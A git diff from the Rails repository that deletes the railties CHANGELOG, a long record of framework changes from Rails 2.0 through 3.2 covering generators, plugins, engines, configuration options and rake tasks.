-rw-r--r--railties/test/generators/task_generator_test.rb12
-rw-r--r--railties/test/generators_test.rb12
-rw-r--r--railties/test/isolation/abstract_unit.rb49
-rw-r--r--railties/test/paths_test.rb8
-rw-r--r--railties/test/queueing/test_queue_test.rb67
-rw-r--r--railties/test/queueing/threaded_consumer_test.rb100
-rw-r--r--railties/test/rails_info_controller_test.rb2
-rw-r--r--railties/test/rails_info_test.rb2
-rw-r--r--railties/test/railties/engine_test.rb656
-rw-r--r--railties/test/railties/generators_test.rb4
-rw-r--r--railties/test/railties/mounted_engine_test.rb24
-rw-r--r--railties/test/railties/plugin_ordering_test.rb76
-rw-r--r--railties/test/railties/plugin_test.rb123
-rw-r--r--railties/test/railties/railtie_test.rb2
-rw-r--r--railties/test/railties/shared_tests.rb361
449 files changed, 7106 insertions, 43375 deletions
diff --git a/railties/CHANGELOG b/railties/CHANGELOG
deleted file mode 100644
index 187dd2428f..0000000000
--- a/railties/CHANGELOG
+++ /dev/null
@@ -1,2386 +0,0 @@
-*Rails 3.2.0 (unreleased)*
-
-* Default options to `rails new` can be set in ~/.railsrc [Guillermo Iguaran]
-
-* Added destroy alias to Rails engines. [Guillermo Iguaran]
-
-* Added destroy alias for Rails command line. This allows the following: `rails d model post`. [Andrey Ognevsky]
-
-* Attributes on scaffold and model generators default to string. This allows the following: "rails g scaffold Post title body:text author" [José Valim]
-
-* Removed old plugin generator (`rails generate plugin`) in favor of `rails plugin new` command. [Guillermo Iguaran]
-
-* Removed old 'config.paths.app.controller' API in favor of 'config.paths["app/controller"]' API. [Guillermo Iguaran]
-
-
-*Rails 3.1.1
-
-* Add jquery-rails to Gemfile of plugins, test/dummy app needs it. Closes #3091. [Santiago Pastorino]
-
-* Add config.assets.initialize_on_precompile which, when set to false, forces
- `rake assets:precompile` to load the application but does not initialize it.
-
- To the app developer, this means configuration add in
- config/initializers/* will not be executed.
-
- Plugins developers need to special case their initializers that are
- meant to be run in the assets group by adding :group => :assets.
-
-
-*Rails 3.1.0 (August 30, 2011)*
-
-* The default database schema file is written as UTF-8. [Aaron Patterson]
-
-* Generated apps with --dev or --edge flags depend on git versions of
-sass-rails and coffee-rails. [Santiago Pastorino]
-
-* Rack::Sendfile middleware is used only if x_sendfile_header is present. [Santiago Pastorino]
-
-* Add JavaScript Runtime name to the Rails Info properties. [DHH]
-
-* Make pp enabled by default in Rails console. [Akira Matsuda]
-
-* Add alias `r` for rails runner. [Jordi Romero]
-
-* Make sprockets/railtie require explicit and add --skip-sprockets to app generator [José Valim]
-
-* Added Rails.groups that automatically handles Rails.env and ENV["RAILS_GROUPS"] [José Valim]
-
-* The new rake task assets:clean removes precompiled assets. [fxn]
-
-* Application and plugin generation run bundle install unless --skip-gemfile or --skip-bundle. [fxn]
-
-* Fixed database tasks for jdbc* adapters #jruby [Rashmi Yadav]
-
-* Template generation for jdbcpostgresql #jruby [Vishnu Atrai]
-
-* Template generation for jdbcmysql and jdbcsqlite3 #jruby [Arun Agrawal]
-
-* The -j option of the application generator accepts an arbitrary string. If passed "foo",
-the gem "foo-rails" is added to the Gemfile, and the application JavaScript manifest
-requires "foo" and "foo_ujs". As of this writing "prototype-rails" and "jquery-rails"
-exist and provide those files via the asset pipeline. Default is "jquery". [fxn]
-
-* jQuery is no longer vendored, it is provided from now on by the jquery-rails gem. [fxn]
-
-* Prototype and Scriptaculous are no longer vendored, they are provided from now on
-by the prototype-rails gem. [fxn]
-
-* The scaffold controller will now produce SCSS file if Sass is available [Prem Sichanugrist]
-
-* The controller and resource generators will now automatically produce asset stubs (this can be turned off with --skip-assets). These stubs will use Coffee and Sass, if those libraries are available. [DHH]
-
-* jQuery is the new default JavaScript library. [fxn]
-
-* Changed scaffold, application, and mailer generator to create Ruby 1.9 style hash when running on Ruby 1.9 [Prem Sichanugrist]
-
- So instead of creating something like:
-
- redirect_to users_path, :notice => "User has been created"
-
- it will now be like this:
-
- redirect_to users_path, notice: "User has been created"
-
- You can also passing `--old-style-hash` to make Rails generate old style hash even you're on Ruby 1.9
-
-* Changed scaffold_controller generator to create format block for JSON instead of XML [Prem Sichanugrist]
-
-* Add using Turn with natural language test case names for test_help.rb when running with minitest (Ruby 1.9.2+) [DHH]
-
-* Direct logging of Active Record to STDOUT so it's shown inline with the results in the console [DHH]
-
-* Added `config.force_ssl` configuration which loads Rack::SSL middleware and force all requests to be under HTTPS protocol [DHH, Prem Sichanugrist, and Josh Peek]
-
-* Added `rails plugin new` command which generates rails plugin with gemspec, tests and dummy application for testing [Piotr Sarnacki]
-
-* Added -j parameter with jquery/prototype as options. Now you can create your apps with jQuery using `rails new myapp -j jquery`. The default is still Prototype. [siong1987]
-
-* Added Rack::Etag and Rack::ConditionalGet to the default middleware stack [José Valim]
-
-* Added Rack::Cache to the default middleware stack [Yehuda Katz and Carl Lerche]
-
-* Engine is now rack application [Piotr Sarnacki]
-
-* Added middleware stack to Engine [Piotr Sarnacki]
-
-* Engine can now load plugins [Piotr Sarnacki]
-
-* Engine can load its own environment file [Piotr Sarnacki]
-
-* Added helpers to call engines' route helpers from application and vice versa [Piotr Sarnacki]
-
-* Task for copying plugins' and engines' migrations to application's db/migrate directory [Piotr Sarnacki]
-
-* Changed ActionDispatch::Static to allow handling multiple directories [Piotr Sarnacki]
-
-* Added isolate_namespace() method to Engine, which sets Engine as isolated [Piotr Sarnacki]
-
-* Include all helpers from plugins and shared engines in application [Piotr Sarnacki]
-
-
-*Rails 3.0.7 (April 18, 2011)*
-
-*No changes.
-
-
-*Rails 3.0.6 (April 5, 2011)
-
-* No changes.
-
-
-*Rails 3.0.5 (February 26, 2011)*
-
-* No changes.
-
-
-*Rails 3.0.4 (February 8, 2011)*
-
-* No changes.
-
-
-*Rails 3.0.3 (November 16, 2010)*
-
-* No changes.
-
-
-*Rails 3.0.2 (November 15, 2010)*
-
-* No changes.
-
-
-*Rails 3.0.1 (October 15, 2010)*
-
-* No Changes, just a version bump.
-
-
-*Rails 3.0.0 (August 29, 2010)*
-
-* Application generation: --skip-testunit and --skip-activerecord become --skip-test-unit and --skip-active-record respectively. [fxn]
-
-* Added console to Rails::Railtie as a hook called just after console starts. [José Valim]
-
-* Rails no longer autoload code in lib for application. You need to explicitly require it. [José Valim]
-
-* Rails::LogSubscriber was renamed to ActiveSupport::LogSubscriber [José Valim]
-
-* config.load_(once_)paths in config/application.rb got renamed to config.autoload_(once_)paths. [fxn]
-
-* Abort generation/booting on Ruby 1.9.1. [fxn]
-
-* Made the rails command work even when you're in a subdirectory [Chad Fowler]
-
-* Removed Rails Metal [Yehuda Katz, José Valim].
-
-* Renamed config.cookie_secret to config.secret_token and pass it as env key. [José Valim]
-
-* Session store configuration has changed [Yehuda Katz, Carl Lerche]
-
- config.session_store :cookie_store, {:key => "..."}
- config.cookie_secret = "fdsfhisdghfidugnfdlg"
-
-* railtie_name and engine_name are deprecated. You can now add any object to
- the configuration object: config.your_plugin = {} [José Valim]
-
-* Added config.generators.templates to provide alternative paths for the generators
- to look for templates [José Valim]
-
-* Added "rake about" as a replacement for script/about [DHH]
-
-* Removed all the default commands in script/* and replaced them with script/rails and a rails command that'll act the same when run from within the app [DHH]. Example:
-
- ./script/generate scaffold post title:string can now be called as rails g scaffold post title:string
-
- Run rails --help inside an app for more help.
-
-* Removed config/initializers/new_rails_defaults.rb as all frameworks now follow the settings from it [DHH]
-
-* Set config.time_zone to UTC by default [DHH]
-
-* Added default .gitignore (this is just recognizing Git market share, don't throw a hissy if you use another SCM) [DHH]
-
-* Added cookies.permanent, cookies.signed, and cookies.permanent.signed accessor for common cookie actions [DHH]. Examples:
-
- cookies.permanent[:prefers_open_id] = true
- # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
-
- cookies.signed[:discount] = 45
- # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
-
- cookies.signed[:discount]
- # => 45 (if the cookie was changed, you'll get a InvalidSignature exception)
-
- cookies.permanent.signed[:remember_me] = current_user.id
- # => Set-Cookie: discount=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
-
- ...to use the signed cookies, you need to set a secret to ActionController::Base.cookie_verifier_secret (automatically done in config/initializers/cookie_verification_secret.rb for new Rails applications).
-
-* Added config/initializers/cookie_verification_secret.rb with an auto-generated secret for using ActionController::Base#cookies.signed [DHH]
-
-* Fixed that the debugger wouldn't go into IRB mode because of left-over ARGVs [DHH]
-
-* I18n support for plugins. #2325 [Antonio Tapiador, Sven Fuchs]
-
-* Ruby 1.9: use UTF-8 for default internal and external encodings. [Jeremy Kemper]
-
-* Added db/seeds.rb as a default file for storing seed data for the database. Can be loaded with rake db:seed (or created alongside the db with db:setup). (This is also known as the "Stop Putting Gawd Damn Seed Data In Your Migrations" feature) [DHH]
-
-
-*2.3.2 [Final] (March 15, 2009)*
-
-* Remove outdated script/plugin options [Pratik Naik]
-
-* Allow metal to live in plugins #2045 [Matthew Rudy]
-
-* Added metal [Josh Peek]
-
-* Remove script/performance/request in favour of the performance integration tests. [Pratik Naik]
-
- To continue using script/performance/request, install the request_profiler plugin :
-
- script/plugin install git://github.com/rails/request_profiler.git
-
-* Add a rake task to apply a template to an existing application : rake rails:template LOCATION=~/template.rb [Pratik Naik]
-
-* Add "-m/--template" option to Rails generator to apply a template to the generated application. [Jeremy McAnally]
-
- This has been extracted from rg - http://github.com/jeremymcanally/rg
-
- Example:
-
- # template.rb
-
- # Install plugins from git or svn
- plugin "will-paginate", :git => "git://github.com/mislav/will_paginate.git"
- plugin "old-restful-auth", :svn => "http://svn.techno-weenie.net/projects/plugins/restful_authentication/"
-
- # Add gems to environment.rb
- gem "jeremymcanally-context"
- gem "bluecloth"
-
- # Vendor file. Data in a string or...
- vendor("borrowed.rb", <<CODE
- def helpful_method
- do_something_helpful_here
- end
- CODE
-
- # ...file data from block return value.
- # #initializer creates a new initializer file
- initializer("crypto.rb") do
- salt = "--#{Time.now}--#{rand}--#{srand(Time.now.to_i)}"
-
- "SPECIAL_SALT = '#{salt}'"
- end
-
- Usage:
-
- To use a template, provide a file path or URL:
-
- 1. Using a local file :
-
- rails <application name> -m /path/to/my/template.rb
-
- 2. Or directly from a URL :
-
- rails <application name> --template=http://gist.github.com/31208.txt
-
-* Extracted the process scripts (inspector, reaper, spawner) into the plugin irs_process_scripts [David Heinemeier Hansson]
-
-* Changed Rails.root to return a Pathname object (allows for Rails.root.join('app', 'controllers') => "#{RAILS_ROOT}/app/controllers") #1482 [Damian Janowski/?]
-
-* Added view path support for engines [David Heinemeier Hansson]
-
-* Added that config/routes.rb files in engine plugins are automatically loaded (and reloaded when they change in dev mode) [David Heinemeier Hansson]
-
-* Added app/[models|controllers|helpers] to the load path for plugins that has an app directory (go engines ;)) [David Heinemeier Hansson]
-
-* Add config.preload_frameworks to load all frameworks at startup. Default to false so Rails autoloads itself as it's used. Turn this on for Passenger and JRuby. Also turned on by config.threadsafe! [Jeremy Kemper]
-
-* Add a rake task to generate dispatchers : rake rails:generate_dispatchers [Pratik Naik]
-
-* "rails <app>" will not generate public/dispatch.cgi/fcgi/rb files by default now. Please use "--with-dispatchers" option if you need them. [Yaroslav Markin, Pratik Naik]
-
-* Added rake rails:update:application_controller to renamed application.rb to application_controller.rb -- included in rake rails:update so upgrading to 2.3 will automatically trigger it #1439 [kastner]
-
-* Added Rails.backtrace_cleaner as an accessor for the Rails::BacktraceCleaner instance used by the framework to cut down on backtrace noise and config/initializers/backtrace_silencers.rb to add your own (or turn them all off) [David Heinemeier Hansson]
-
-* Switch from Test::Unit::TestCase to ActiveSupport::TestCase. [Jeremy Kemper]
-
-* Added config.i18n settings gatherer to config/environment, auto-loading of all locales in config/locales/*.rb,yml, and config/locales/en.yml as a sample locale [David Heinemeier Hansson]
-
-* BACKWARDS INCOMPATIBLE: Renamed application.rb to application_controller.rb and removed all the special casing that was in place to support the former. You must do this rename in your own application when you upgrade to this version [David Heinemeier Hansson]
-
-
-*2.2.1 [RC2] (November 14th, 2008)*
-
-* Fixed plugin generator so that generated unit tests would subclass ActiveSupport::TestCase, also introduced a helper script to reduce the needed require statements #1137 [Mathias Meyer]
-
-* Update Prototype to 1.6.0.3 [sam]
-
-
-*2.2.0 [RC1] (October 24th, 2008)*
-
-* Fixed that sqlite would report "db/development.sqlite3 already exists" whether true or not on db:create #614 [Antonio Cangiano]
-
-* Added config.threadsafe! to toggle allow concurrency settings and disable the dependency loader [Josh Peek]
-
-* Turn cache_classes on by default [Josh Peek]
-
-* Added configurable eager load paths. Defaults to app/models, app/controllers, and app/helpers [Josh Peek]
-
-* Introduce simple internationalization support. [Ruby i18n team]
-
-* Make script/plugin install <plugin> -r <revision> option work with git based plugins. #257. [Tim Pope Jakub Kuźma]. Example:
-
- script/plugin install git://github.com/mislav/will_paginate.git -r agnostic # Installs 'agnostic' branch
- script/plugin install git://github.com/dchelimsky/rspec.git -r 'tag 1.1.4'
-
-* Added Rails.initialized? flag [Josh Peek]
-
-* Make rake test:uncommitted work with Git. [Tim Pope]
-
-* Added Thin support to script/server. #488 [Bob Klosinski]
-
-* Fix script/about in production mode. #370 [Cheah Chu Yeow, Xavier Noria, David Krmpotic]
-
-* Add the gem load paths before the framework is loaded, so certain gems like RedCloth and BlueCloth can be frozen.
-
-* Fix discrepancies with loading rails/init.rb from gems.
-
-* Plugins check for the gem init path (rails/init.rb) before the standard plugin init path (init.rb) [Jacek Becela]
-
-* Changed all generated tests to use the test/do declaration style [David Heinemeier Hansson]
-
-* Wrapped Rails.env in StringInquirer so you can do Rails.env.development? [David Heinemeier Hansson]
-
-* Fixed that RailsInfoController wasn't considering all requests local in development mode (Edgard Castro) [#310 state:resolved]
-
-
-*2.1.0 (May 31st, 2008)*
-
-* script/dbconsole fires up the command-line database client. #102 [Steve Purcell]
-
-* Fix bug where plugin init.rb files from frozen gem specs weren't being run. (pjb3) [#122 state:resolved]
-
-* Made the location of the routes file configurable with config.routes_configuration_file (Scott Fleckenstein) [#88]
-
-* Rails Edge info returns the latest git commit hash [Francesc Esplugas]
-
-* Added Rails.public_path to control where HTML and assets are expected to be loaded from (defaults to Rails.root + "/public") #11581 [Nick Sieger]
-
-* rake time:zones:local finds correct base utc offset for zones in the Southern Hemisphere [Geoff Buesing]
-
-* Don't require rails/gem_builder during rails initialization, it's only needed for the gems:build task. [Rick Olson]
-
-* script/performance/profiler compatibility with the ruby-prof >= 0.5.0. Closes #9176. [Jonathan del Strother]
-
-* Flesh out rake gems:unpack to unpack all gems, and add rake gems:build for native extensions. #11513 [ddollar]
-
- rake gems:unpack # unpacks all gems
- rake gems:unpack GEM=mygem # unpacks only the gem 'mygem'
-
- rake gems:build # builds all unpacked gems
- rake gems:build GEM=mygem # builds only the gem 'mygem'
-
-* Add config.active_support for future configuration options. Also, add more new Rails 3 config settings to new_rails_defaults.rb [Rick Olson]
-
-* Add Rails.logger, Rails.root, Rails.env and Rails.cache shortcuts for RAILS_* constants [Pratik Naik]
-
-* Allow files in plugins to be reloaded like the rest of the application. [Rick Olson]
-
- Enables or disables plugin reloading.
-
- config.reload_plugins = true
-
- You can get around this setting per plugin.
- If #reload_plugins? == false (DEFAULT), add this to your plugin's init.rb to make it reloadable:
-
- Dependencies.load_once_paths.delete lib_path
-
- If #reload_plugins? == true, add this to your plugin's init.rb to only load it once:
-
- Dependencies.load_once_paths << lib_path
-
-* Small tweak to allow plugins to specify gem dependencies. [Rick Olson]
-
- # OLD open_id_authentication plugin init.rb
- require 'yadis'
- require 'openid'
- ActionController::Base.send :include, OpenIdAuthentication
-
- # NEW
- config.gem "ruby-openid", :lib => "openid", :version => "1.1.4"
- config.gem "ruby-yadis", :lib => "yadis", :version => "0.3.4"
-
- config.after_initialize do
- ActionController::Base.send :include, OpenIdAuthentication
- end
-
-* Added config.gem for specifying which gems are required by the application, as well as rake tasks for installing and freezing gems. [Rick Olson]
-
- Rails::Initializer.run do |config|
- config.gem "bj"
- config.gem "hpricot", :version => '0.6', :source => "http://code.whytheluckystiff.net"
- config.gem "aws-s3", :lib => "aws/s3"
- end
-
- # List required gems.
- rake gems
-
- # Install all required gems:
- rake gems:install
-
- # Unpack specified gem to vendor/gems/gem_name-x.x.x
- rake gems:unpack GEM=bj
-
-* Removed the default .htaccess configuration as there are so many good deployment options now (kept it as an example in README) [David Heinemeier Hansson]
-
-* config.time_zone accepts TZInfo::Timezone identifiers as well as Rails TimeZone identifiers [Geoff Buesing]
-
-* Rails::Initializer#initialize_time_zone raises an error if value assigned to config.time_zone is not recognized. Rake time zone tasks only require ActiveSupport instead of entire environment [Geoff Buesing]
-
-* Stop adding the antiquated test/mocks/* directories and only add them to the path if they're still there for legacy reasons [David Heinemeier Hansson]
-
-* Added that gems can now be plugins if they include rails/init.rb #11444 [John Barnette]
-
-* Added Plugin#about method to programmatically access the about.yml in a plugin #10979 [James Adam]
-
- plugin = Rails::Plugin.new(path_to_my_plugin)
- plugin.about["author"] # => "James Adam"
- plugin.about["url"] # => "http://interblah.net"
-
-* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert]
-
-* Added config.time_zone = 'UTC' in the default environment.rb [Geoff Buesing]
-
-* Added rake tasks time:zones:all, time:zones:us and time:zones:local for finding time zone names for config.time_zone option [Geoff Buesing]
-
-* Add config.time_zone for configuring the default Time.zone value. #10982 [Geoff Buesing]
-
-* Added support for installing plugins hosted at git repositories #11294 [Jack Danger Canty]
-
-* Fixed that script/generate would not look for plugin generators in plugin_paths #11000 [glv]
-
-* Fixed database rake tasks to work with charset/collation and show proper error messages on failure. Closes #11301 [matt]
-
-* Added a -e/--export to script/plugin install, uses svn export. #10847 [jon@blankpad.net)]
-
-* Reshuffle load order so that routes and observers are initialized after plugins and app initializers. Closes #10980 [Rick Olson]
-
-* Git support for script/generate. #10690 [ssoroka]
-
-* Update scaffold to use labels instead of bold tags. Closes #10757 [zach-inglis-lt3]
-
-* Resurrect WordNet synonym lookups. #10710 [tom./, matt]
-
-* Added config.cache_store to environment options to control the default cache store (default is FileStore if tmp/cache is present, otherwise MemoryStore is used) [David Heinemeier Hansson]
-
-* Added that rails:update is run when you do rails:freeze:edge to ensure you also get the latest JS and config files #10565 [jeff]
-
-* SQLite: db:drop:all doesn't fail silently if the database is already open. #10577 [Cheah Chu Yeow, mrichman]
-
-* Introduce native mongrel handler and push mutex into dispatcher. [Jeremy Kemper]
-
-* Ruby 1.9 compatibility. #1689, #10546 [Cheah Chu Yeow, frederico]
-
-
-*2.0.2* (December 16th, 2007)
-
-* Changed the default database from mysql to sqlite3, so now running "rails myapp" will have a config/database.yml that's setup for SQLite3 (which in OS X Leopard is installed by default, so is the gem, so everything Just Works with no database configuration at all). To get a Rails application preconfigured for MySQL, just run "rails -d mysql myapp" [David Heinemeier Hansson]
-
-* Turned on ActionView::Base.cache_template_loading by default in config/environments/production.rb to prevent file system stat calls for every template loading to see if it changed (this means that you have to restart the application to see template changes in production mode) [David Heinemeier Hansson]
-
-* Introduce `rake secret` to output a crytographically secure secret key for use with cookie sessions #10363 [revans]
-
-* Fixed that local database creation should consider 127.0.0.1 local #9026 [parcelbrat]
-
-* Fixed that functional tests generated for scaffolds should use fixture calls instead of hard-coded IDs #10435 [boone]
-
-* Added db:migrate:redo and db:migrate:reset for rerunning existing migrations #10431, #10432 [matt]
-
-* RAILS_GEM_VERSION may be double-quoted also. #10443 [James Cox]
-
-* Update rails:freeze:gems to work with RubyGems 0.9.5. [Jeremy Kemper]
-
-
-*2.0.1* (December 7th, 2007)
-
-* Fixed Active Record bug
-
-
-*2.0.0* (December 6th, 2007)
-
-* The test task stops with a warning if you have pending migrations. #10377 [Josh Knowles]
-
-* Add warning to documentation about using transactional fixtures when the code under test uses transactions itself. Closes #7548 [Thijs van der Vossen]
-
-* Update Prototype to 1.6.0.1. [sam]
-
-* Update script.aculo.us to 1.8.0.1. [madrobby]
-
-* Added db:fixtures:identity as a way of locating what ID a foxy fixture was assigned #10332 [John Barnette]
-
-* Generated fixtures should not specify ids since theyre expected to be foxy fixtures #10330 [John Barnette]
-
-* Update to Prototype -r8232. [sam]
-
-* Introduce SecretKeyGenerator for more secure session secrets than CGI::Session's pseudo-random id generator. Consider extracting to Active Support later. #10286 [Hongli Lai (Phusion)]
-
-* RAILS_GEM_VERSION may be set to any valid gem version specifier. #10057 [Chad Woolley, Cheah Chu Yeow]
-
-* Load config/preinitializer.rb, if present, before loading the environment. #9943 [Chad Woolley]
-
-* FastCGI handler ignores unsupported signals like USR2 on Windows. [Grzegorz Derebecki]
-
-* Only load ActionMailer::TestCase if ActionMailer is loaded. Closes #10137 [defunkt]
-
-* Fixed that db:reset would use migrations instead of loading db/schema.rb [David Heinemeier Hansson]
-
-* Ensure the plugin loader only loads plugins once. Closes #10102 [haruki_zaemon]
-
-* Refactor Plugin Loader. Add plugin lib paths early, and add lots of tests. Closes #9795 [James Adam]
-
-* Added --skip-timestamps to generators that produce models #10036 [Tim Pope]
-
-* Update Prototype to 1.6.0 and script.aculo.us to 1.8.0. [sam, madrobby]
-
-* Added db:rollback to rollback the schema one version (or multiple as specified by STEP) [Jeffrey Allan Hardy]
-
-* Fix typo in test_helper. Closes #9925 [viktor tron]
-
-* Request profiler. [Jeremy Kemper]
-
-* config/boot.rb correctly detects RAILS_GEM_VERSION. #9834 [alexch, thewoolleyman]
-
-* Fixed incorrect migration number if script/generate executed outside of Rails root #7080 [Jeremy McAnally]
-
-* Update Prototype to 1.6.0_rc1 and script.aculo.us to 1.8.0 preview 0. [sam, madrobby]
-
-* Generated fixtures use the actual primary key instead of id. #4343 [Frederick Ros, Tarmo Tänav]
-
-* Extend the console +helper+ method to allow you to include custom helpers. e.g:
- >> helper :posts
- >> helper.some_method_from_posts_helper(Post.find(1))
-
-* db:create works with remote databases whereas db:create:all only creates
-databases on localhost. #9753 [Trevor Wennblom]
-
-* Removed calls to fixtures in generated tests as fixtures :all is now present by default in test_helper.rb [David Heinemeier Hansson]
-
-* Add --prefix option to script/server when using mongrel. [dacat]
-
-
-*2.0.0 [Preview Release]* (September 29th, 2007) [Includes duplicates of changes from 1.1.4 - 1.2.3]
-
-* Fixed that installing plugins from SVN repositories that use trunk/ will work #8188 [evan]
-
-* Moved the SourceAnnotationExtractor to a separate file in case libraries try to load the rails rake tasks twice. [Rick Olson]
-
-* Moved Dispatcher to ActionController::Dispatcher. [Jeremy Kemper]
-
-* Changed the default logger from Ruby's own Logger with the clean_logger extensions to ActiveSupport::BufferedLogger for performance reasons [David Heinemeier Hansson]. (You can change it back with config.logger = Logger.new("/path/to/log", level).)
-
-* Added a default 422.html page to be rendered when ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved, or ActionController::InvalidAuthenticityToken is raised [David Heinemeier Hansson]
-
-* Added --skip-fixture option to script/generate model #6862 [sandofsky]
-
-* Print Rails version when starting console #7440 [eyematz]
-
-* Fixed the placement of fixture files for nested models when generating through script/generate model #7547 [jkit]
-
-* Added TEMPLATE option to rake doc:app to set a custom output template #7737 [Jakob Skjerning]
-
-* Added VERBOSE option to rake db:migrate to turn off output #8204 [John Barnette]
-
-* Fixed that rake doc:app should use UTF-8 #8906 [farzy]
-
-* Fixes rake annotations to search erb and builder files as well #9150 [m.langenberg]
-
-* Removed web_service generator [Michael Koziarski]
-
-* Added the :all option to config.plugins that'll include the rest of the plugins not already explicitly named #9613 [Frederick Cheung]. Example:
-
- # Loads :classic_pagination before all the other plugins
- config.plugins = [ :classic_pagination, :all ]
-
-* Added symbols as a legal way of specifying plugins in config.plugins #9629 [tom]
-
-* Removed deprecated task names, like clear_logs, in favor of the new namespaced style [David Heinemeier Hansson]
-
-* Support multiple config.after_initialize blocks so plugins and apps can more easily cooperate. #9582 [Zach Dennis]
-
-* Added db:drop:all to drop all databases declared in config/database.yml [David Heinemeier Hansson]
-
-* Use attribute pairs instead of the migration name to create add and remove column migrations. Closes #9166 [Pratik Naik]
-
- For example:
-
- ruby script/generation migration AddSomeStuffToCustomers first_name:string last_name:string
-
- or
-
- ruby script/generation migration RemoveSomeStuffFromCustomers first_name:string last_name:string
-
-* Add ActiveResource to Rails::Info. Closes #8741 [Chris Kampmeier]
-
-* use Gem.find_name instead of search when freezing gems. Prevent false positives for other gems with rails in the name. Closes #8729 [wselman]
-
-* Automatically generate add/remove column commands in specially named migrations like AddLocationToEvent. Closes #9006 [Ryan Davis]
-
-* Default to plural table name in Rails Generator if ActiveRecord is not present. Closes #8963 [evan]
-
-* Added rake routes for listing all the defined routes in the system. #8795 [Josh Peek]
-
-* db:create creates the database for the current environment if it's on localhost. db:create:all creates local databases for all environments. #8783 [matt]
-
-* Generators: look for generators in all gems, not just those suffixed with _generator, in the gem's generators or rails_generators directory. Allow use of the rails_generators directory instead of the standard generators directory in plugins also. #8730 [Dr Nic, topfunky]
-
-* MySQL, PostgreSQL: database.yml defaults to utf-8. #8701 [matt]
-
-* Added db:version to get the current schema number [via Err The Blog]
-
-* Added --skip-migration option to scaffold and resource generators #8656 [Michael Glaesemann]
-
-* Fix that FCGIs would leave log files open when asked to shut down by USR2. #3028 [Sebastian Kanthak, Josh Peek]
-
-* Fixed that dispatcher preparation callbacks only run once in production mode. Mock Routes.reload so that dispatcher preparation callback tests run. [Rick Olson]
-
-* Fix syntax error in dispatcher than wrecked failsafe responses. #8625 [mtitorenko]
-
-* Scaffolded validation errors set the appropriate HTTP status for XML responses. #6946, #8622 [Manfred Stienstra, mmmultiworks]
-
-* Sexy migrations for the session_migration generator. #8561 [Vladislav]
-
-* Console reload! runs to_prepare callbacks also. #8393 [f.svehla]
-
-* Generated migrations include timestamps by default. #8501 [Shane Vitarana]
-
-* Drop Action Web Service from rails:freeze:edge. [Jeremy Kemper]
-
-* Add db:create, drop, reset, charset, and collation tasks. #8448 [matt]
-
-* Scaffold generator depends on model generator instead of duplicating it. #7222 [bscofield]
-
-* Scaffold generator tests. #8443 [pelle]
-
-* Generated scaffold functional tests use assert_difference. #8421 [Norbert Crombach]
-
-* Update to Prototype 1.5.1. [Sam Stephenson]
-
-* Update to script.aculo.us 1.7.1_beta3. [Thomas Fuchs]
-
-* Generators use *.html.erb view template naming. #8278 [Tim Pope]
-
-* Updated resource_scaffold and model generators to use short-hand style migrations [David Heinemeier Hansson]
-
-* Updated initializer to only load #{RAILS_ENV}.rb once. Added deprecation warning for config.breakpoint_server. [Nicholas Seckar]
-
-* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back [David Heinemeier Hansson]
-
- To use the new debugger, start your server with script/server --debugger and insert a call to 'debugger'
- (instead of 'breakpoint') where you want to jump into the debugger.
-
- BACKWARDS INCOMPATIBILITY NOTE: You must remove the default line 12 from config/environments/development.rb:
-
- config.breakpoint_server = true
-
- This configuration option is no longer available. Rails will fail to start in development mode as long as
- that's still present.
-
-* Resource scaffolding returns the created entity.to_xml. [Jeremy Kemper]
-
-* Resource scaffolding responds to new.xml. #8185 [Eric Mill]
-
-* Include Active Resource in rails:freeze:edge rake task. [Thomas Fuchs]
-
-* Include Active Resource instead of Action Web Service [David Heinemeier Hansson] You can add AWS back with this in config/environment.rb:
-
- config.load_paths += %W( #{RAILS_ROOT}/vendor/rails/actionwebservice/lib )
-
- ...or just gem 'actionwebservice'
-
-* Give generate scaffold a more descriptive database message. Closes #7316 [Jeremy McAnally]
-
-* Canonicalize RAILS_ROOT by using File.expand_path on Windows, which doesn't have to worry about symlinks, and Pathname#realpath elsewhere, which respects symlinks in relative paths but is incompatible with Windows. #6755 [Jeremy Kemper, trevor]
-
-* Deprecation: remove components from controller paths. [Jeremy Kemper]
-
-* Add environment variable RAILS_DEFAULT_DATABASE, which allows the builtin default of 'mysql' to be overridden. [Nicholas Seckar]
-
-* Windows: include MinGW in RUBY_PLATFORM check. #2982 [okkez000@gmail.com, Kaspar Schiess]
-
-* Split out the basic plugin locator functionality into an abstract super class. Add a FileSystemLocator to do the job of checking the plugin_paths for plugins. Add plugin_locators configuration option which will iterate over the set of plugin locators and load each of the plugin loaders they return. Rename locater everywhere to locator. [Marcel Molina Jr.]
-
-* Split plugin location and loading out of the initializer and into a new Plugin namespace, which includes Plugin::Locater and Plugin::Loader. The loader class that is used can be customized using the config.plugin_loader option. Those monkey patching the plugin loading subsystem take note, the internals changing here will likely break your modifications. The good news is that it should be substantially easier to hook into the plugin locating and loading process now. [Marcel Molina Jr.]
-
-* Added assumption that all plugin creators desire to be sharing individuals and release their work under the MIT license [David Heinemeier Hansson]
-
-* Added source-annotations extractor tasks to rake [Jamis Buck]. This allows you to add FIXME, OPTIMIZE, and TODO comments to your source code that can then be extracted in concert with rake notes (shows all), rake notes:fixme, rake notes:optimize and rake notes:todo.
-
-* Added fixtures :all to test_helper.rb to assume that most people just want all their fixtures loaded all the time [David Heinemeier Hansson]
-
-* Added config/initializers where all ruby files within it are automatically loaded after the Rails configuration is done, so you don't have to litter the environment.rb file with a ton of mixed stuff [David Heinemeier Hansson]
-
-* For new apps, generate a random secret for the cookie-based session store. [Jeremy Kemper]
-
-* Stop swallowing errors during rake test [Michael Koziarski]
-
-* Update Rails Initializer to use ActionController::Base#view_paths [Rick Olson]
-
-* Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ [Chad Fowler]
-
-* Plugins may be symlinked in vendor/plugins. #4245 [brandon, progrium@gmail.com]
-
-* Resource generator depends on the model generator rather than duplicating it. #7269 [bscofield]
-
